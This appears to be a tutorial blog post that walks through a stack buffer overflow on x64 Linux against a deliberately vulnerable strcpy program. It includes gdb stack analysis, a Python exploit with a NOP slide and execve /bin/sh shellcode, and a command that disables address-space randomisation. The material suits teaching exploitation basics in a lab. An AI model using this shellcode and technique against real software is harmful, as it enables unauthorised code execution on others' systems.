Shellcode injection via buffer overflow (x64)

Disclaimer
– The application has to be vulnerable (e.g. gets, scanf, strcpy) for an overflow attack.
– Modern compilers are making it nearly impossible to inject and then execute shellcode.


Setup

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char buf[100];
  strcpy(buf, argv[1]);
  return 0;
}

Important: The following parameters are necessary for writing and executing shellcode on the stack.

$ g++ -fno-stack-protector -z execstack main.cpp

Analysis

$ gdb a.out
(gdb) disas main
Dump of assembler code for function main:
   0x0000000000400502 <+0>:     push   %rbp
   0x0000000000400503 <+1>:     mov    %rsp,%rbp
   0x0000000000400506 <+4>:     add    $0xffffffffffffff80,%rsp
   0x000000000040050a <+8>:     mov    %edi,-0x74(%rbp)
   0x000000000040050d <+11>:    mov    %rsi,-0x80(%rbp)
   0x0000000000400511 <+15>:    mov    -0x80(%rbp),%rax
   0x0000000000400515 <+19>:    add    $0x8,%rax
   0x0000000000400519 <+23>:    mov    (%rax),%rdx
   0x000000000040051c <+26>:    lea    -0x70(%rbp),%rax
   0x0000000000400520 <+30>:    mov    %rdx,%rsi
   0x0000000000400523 <+33>:    mov    %rax,%rdi
   0x0000000000400526 <+36>:    callq  0x400420 <strcpy@plt>
   0x000000000040052b <+41>:    mov    $0x0,%eax
   0x0000000000400530 <+46>:    leaveq 
   0x0000000000400531 <+47>:    retq   
End of assembler dump.
(gdb) b *0x0000000000400530
Breakpoint 1 at 0x400530
(gdb) r AAAA
Breakpoint 1, 0x0000000000400530 in main ()
(gdb) info f
Stack level 0, frame at 0x7fffffffe440:
 rip = 0x400530 in main; saved rip = 0x7ffff7165fbb
 Arglist at 0x7fffffffe430, args: 
 Locals at 0x7fffffffe430, Previous frame's sp is 0x7fffffffe440
 Saved registers:
  rbp at 0x7fffffffe430, rip at 0x7fffffffe438
(gdb) x/40x $rsp
0x7fffffffe3b0: 0xffffe518      0x00007fff      0x00000000      0x00000002
0x7fffffffe3c0: 0x41414141      0x00000000      0x0060ae08      0x00000000
0x7fffffffe3d0: 0x00011bff      0x00000000      0x00011c30      0x00000000
0x7fffffffe3e0: 0xffffff90      0xffffffff      0x00000470      0x00000000
0x7fffffffe3f0: 0x000011c1      0x000004a0      0x00400585      0x00000000
0x7fffffffe400: 0xf7de5470      0x00007fff      0x00000000      0x00000000
0x7fffffffe410: 0x00400540      0x00000000      0x00400430      0x00000000
0x7fffffffe420: 0xffffe510      0x00007fff      0x00000000      0x00000000
0x7fffffffe430: 0x00400540      0x00000000      0xf7165fbb      0x00007fff
0x7fffffffe440: 0xffffff90      0xffffffff      0xffffe518      0x00007fff
(gdb) p/d 0x7fffffffe438 - 0x7fffffffe3c0
$1 = 120

– 0x7fffffffe438 is the address of RIP (Instruction Pointer)
– 0x7fffffffe3c0 is the address of Buf[0] (\x41 encodes ‘A’)

Based on the length of the input argument these addresses will get changed. Let’s run the application with the protoypic, but full length parameter.

(gdb) r $(python -c "print('A' * 120 + 'B' * 8)")
Breakpoint 1, 0x0000000000400530 in main ()
(gdb) x/40x $rsp
0x7fffffffe340: 0xffffe4a8      0x00007fff      0x00000000      0x00000002
0x7fffffffe350: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe360: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe370: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe380: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe390: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe3a0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe3b0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe3c0: 0x41414141      0x41414141      0x42424242      0x42424242
0x7fffffffe3d0: 0xffffff00      0xffffffff      0xffffe4a8      0x00007fff

– From 0x7fffffffe350 til 0x7fffffffe3c8 (120 Byte): NOP slide + Shellcode + Padding
– From 0x7fffffffe3c8 til 0x7fffffffe3d0 (8 Byte): RIP to somewhere within the NOP slide


Code Injection

# Shellcode: 24 Byte
CODE = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

# NOP slide: 100 Byte - 24 Byte = 76 Byte
NOP = "\x90" * 76

# Padding: 120 Byte - 100 Byte = 20 Byte
PAD = "\x41" * 20

# Instruction Pointer
RIP = "\x60\xe3\xff\xff\xff\x7f" # \x00\x00 at the front would get ignored

print NOP + CODE + PAD + RIP

(The generating of the shellcode is another topic, which is to big to get included in this post. The used one opens a shell for the user.)

Let’s try if the written python script brings the application to open a shell for us.

(gdb) r $(python overflow.py)
Breakpoint 1, 0x0000000000400530 in main ()
(gdb) x/40x $rsp
0x7fffffffe340: 0xffffe4a8      0x00007fff      0x00000000      0x00000002
0x7fffffffe350: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe360: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe370: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe380: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe390: 0x90909090      0x90909090      0x90909090      0xd2314850
0x7fffffffe3a0: 0x48f63148      0x69622fbb      0x732f2f6e      0x5f545368
0x7fffffffe3b0: 0x050f3bb0      0x41414141      0x41414141      0x41414141
0x7fffffffe3c0: 0x41414141      0x41414141      0xffffe360      0x00007fff
0x7fffffffe3d0: 0xffffff90      0xffffffff      0xffffe4a8      0x00007fff
(gdb) c
Continuing.
process 14841 is executing new program: /bin/bash

Nice. Now let’s try if this also works without the GDB.

Important: Disable that Linux will randomize the virtual address space.

echo "0" | dd of=/proc/sys/kernel/randomize_va_space

(Don’t forget to enable it (“2”) again afterwards.)

$ ./a.out $(python overflow.py)
Segmentation fault (core dumped)

Rework

$ gdb <path/to/application> <path/to/coredump>
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00007fffffffe360 in ?? ()
(gdb) bt
#0  0x00007fffffffe360 in ?? ()
#1  0xffffffffffffff90 in ?? ()
#2  0x00007fffffffe518 in ?? ()
#3  0x00000002f7b0edd0 in ?? ()
#4  0x0000000000400502 in frame_dummy ()
#5  0x0000000000000000 in ?? ()
(gdb) x/80x 0x00007fffffffe360
0x7fffffffe360: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe370: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe380: 0x00000025      0x00000000      0xf71c2fbf      0x00007fff
0x7fffffffe390: 0x00000000      0x00000000      0xf7ffe120      0x00007fff
0x7fffffffe3a0: 0x00000000      0x00000000      0x0040052b      0x00000000
0x7fffffffe3b0: 0xffffe518      0x00007fff      0x00000000      0x00000002
0x7fffffffe3c0: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3d0: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3e0: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe3f0: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe400: 0x90909090      0x90909090      0x90909090      0xd2314850
0x7fffffffe410: 0x48f63148      0x69622fbb      0x732f2f6e      0x5f545368
0x7fffffffe420: 0x050f3bb0      0x41414141      0x41414141      0x41414141
0x7fffffffe430: 0x41414141      0x41414141      0xffffe360      0x00007fff
0x7fffffffe440: 0xffffff90      0xffffffff      0xffffe518      0x00007fff
0x7fffffffe450: 0xf7b0edd0      0x00000002      0x00400502      0x00000000
0x7fffffffe460: 0x00000000      0x00000000      0xb7a9d099      0x7ba1f524
0x7fffffffe470: 0x00400430      0x00000000      0xffffe510      0x00007fff
0x7fffffffe480: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe490: 0x75a9d099      0x845e0a5b      0x03cfd099      0x845e1b88

OK. We have to change the RIP with a value between 0x7fffffffe3c0 and 0x7fffffffe40c.

RIP = "\xe0\xe3\xff\xff\xff\x7f"

Try again … Yeah, finally we got the shell also out of the GDB.